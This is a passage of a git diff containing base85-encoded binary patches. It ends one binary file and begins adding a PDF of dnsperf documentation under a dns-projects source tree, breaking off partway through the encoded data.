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 G`u_l9jQvgk literal 0 HcmV?d00001 diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/doc/dnsperf.pdf b/dns-projects/dnsperf-src-2.0.0.0-1/doc/dnsperf.pdf new file mode 100644 index 0000000000000000000000000000000000000000..2dee439137242e5ebe6670a0617e0692cd288762 GIT binary patch literal 181527 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 